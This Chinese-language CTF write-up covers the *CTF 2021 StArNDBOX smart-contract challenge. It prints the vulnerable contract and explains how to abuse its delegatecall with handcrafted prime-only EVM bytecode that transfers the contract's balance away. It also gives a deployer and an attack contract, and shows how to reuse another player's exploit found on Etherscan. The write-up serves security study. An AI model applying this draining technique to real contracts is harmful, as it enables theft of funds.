*CTF 2021 StArNDBOX Writeup

一道有趣的智能合约题目

主要涉及:合约部署与转账的底层操作,字节码构造

分析题目源码

pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }
    
    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }
    
    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }
    
    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }
    
}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{
        
        uint256 size;
        bytes memory code;
        int res;
        
        assembly{
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}

题目要求:清空合约账户余额获得 flag

isPrime 检查只允许 01 以及质数通过

在调用 StArNDBoX 函数时,函数会对传入的地址 _addr 处的合约进行检测

如果 _addr 处的合约中所有 EVM 字节码都能通过 isPrime 检查,就会使用 delegatecall_addr 处的合约代码进行调用

注意 delegatecall 是一个比较明显的高危函数

参考 https://ctf-wiki.org/blockchain/ethereum/attacks/delegatecall/

如果 A合约 使用 delegatecall 调用 B合约,那么就相当于 A合约 以自己的身份来执行 B合约 的代码

假如 B合约 中包含恶意代码,例如转账或修改内存数据等敏感操作,这时 delegatecall 操作就会对 A合约 造成重大损失

构造攻击合约

参考可以通过 isPrime 检查的字节码 https://ctf-wiki.org/blockchain/ethereum/opcodes/

考虑使用 call(0xf1) 指令进行转账,清空合约账户余额,参考调用方法 https://ethervm.io/#F1

构造字节码

0x61000061000061000061000061006161000301610000619789f100

等价于以下指令

610000    PUSH2 0x0000
610000    PUSH2 0x0000
610000    PUSH2 0x0000
610000    PUSH2 0x0000
610061    PUSH2 0x0061
610003    PUSH2 0x0003
01        ADD
610000    PUSH2 0x0000
619789    PUSH2 0x9789
f1        CALL

等价于以下代码

def _fallback() payable: # default function
  call 0x0 with:
     value 100 wei
       gas 38793 wei

通过执行 call 指令即可转走合约的余额 100 wei(0.0000000000000001 Eth)

注意这里的 value 指的是转账的交易量,由合约账户进行支付

gas 指的是为了在 EVM 上执行代码而需要支付的费用,由这条交易原始的发起者(外部账户)进行支付

部署攻击合约

部署字节码

通过指定 constructor 函数的返回值,即可完成任意字节码的部署

代码参考自

https://rinkeby.etherscan.io/address/0x9dbac984d326344a6eeefd996345b66181c5d4a3

https://ctf-wiki.org/blockchain/ethereum/attacks/create2/

https://medium.com/authio/solidity-ctf-part-4-read-the-fine-print-5ad259a5f5bb

pragma solidity ^0.5.11;

contract Deployer {
    constructor() public {
        bytes memory bytecode = hex'61000061000061000061000061006161000301610000619789f100';
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

构造函数解析

通过 Remix 自动生成的 constructor 代码如下

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x3e] = code[0x1d:0x5b];
        return memory[0x00:0x3e];
    }
}

上一节编写的 constructor 代码如下

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        var temp0 = memory[0x40:0x60];
        memory[0x40:0x60] = temp0 + 0x40;
        memory[temp0:temp0 + 0x20] = 0x1b;
        memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x61000061000061000061000061006161000301610000619789f1000000000000;
        var0 = temp0;
        return memory[var0 + 0x20:var0 + 0x20 + memory[var0:var0 + 0x20]];
    }
}

可以看出两段代码实现的功能其实是一样的,都是通过 return 指令返回存储在 memory 中的 code

return (add(bytecode, 0x20), mload(bytecode))

其中 add(bytecode, 0x20) 给出 bytecode 内容的首地址 bytecode + 0x20mload(bytecode) 给出 bytecode 内容的大小 [bytecode:bytecode + 0x20]

具体可以参考 以太坊黄皮书 4.2 节中对 init 代码的描述

攻击目标合约

编写另一个智能合约来和目标合约进行交互,传入的地址参数填入上边部署字节码的地址,完成攻击

以下代码省略题目所给的 StArNDBOX 声明

pragma solidity ^0.5.12;

contract attack{
    address code=0x5c2c9C5811542A48FCFd67d4E24d5209b3Ebd076;
    address target=0x5e20541beFc798851d0020B29A58b8cd335FB705;
    StArNDBOX s=StArNDBOX(target);
    function exp()external{
        s.StArNDBoX(code);
    }
}

可以看到我们已经将合约账户仅有的余额 100 wei(0.0000000000000001 Eth) 都转到了 0x0000000000000000000000000000000000000000 这个地址

这时合约账户的余额已经变成了 0,获得 flag

搭车教学

由于题目部署智能合约时分配的余额是 100 wei,想要转走余额就会在链上产生一条交易量为 100 wei 的记录

所以可以考虑在 Etherscan 上查找交易记录,直接复制别人的操作来获得 flag

跟踪一下 0x0000000000000000000000000000000000000000Contract Internal Transactions,可以找到一条符合条件的记录

跟踪一下 0x8a9be8e6ef89a59ae65e77a296543225dc87249c9470fdc3fc281957b3c8ef42 这条交易记录

可以发现这条交易记录在转账操作之前,还有一个远程调用的操作

查看 0xb3879a53b3964494a149BcC1863dD262C35a64aE 这个合约账户,就可以找到别人部署的字节码了

这时就可以直接使用别人部署的 0xb3879a53b3964494a149BcC1863dD262C35a64aE 这个包含恶意字节码的合约来发起攻击,获得 flag

pragma solidity ^0.5.12;

contract attack{
    address code=0xb3879a53b3964494a149BcC1863dD262C35a64aE;
    address target=0x5e20541beFc798851d0020B29A58b8cd335FB705;
    StArNDBOX s=StArNDBOX(target);
    function exp()external{
        s.StArNDBoX(code);
    }
}

参考文章

https://hitcxy.com/2021/6-ctf2021/

http://zhaobairen.club/2021/01/21/ctf-2021-区块链-starndbox/

https://zhuanlan.zhihu.com/p/347738659

https://we.buptmerak.cn/archives/274

https://github.com/sixstars/starctf2021/tree/main/blockchain-StArNDBOX

https://ctf-wiki.org/blockchain/ethereum/opcodes/

https://ctf-wiki.org/blockchain/ethereum/attacks/create2/

https://medium.com/authio/solidity-ctf-part-4-read-the-fine-print-5ad259a5f5bb

https://github.com/openblocksec/blocksec-ctfs

原文地址:https://www.cnblogs.com/algonote/p/14588214.html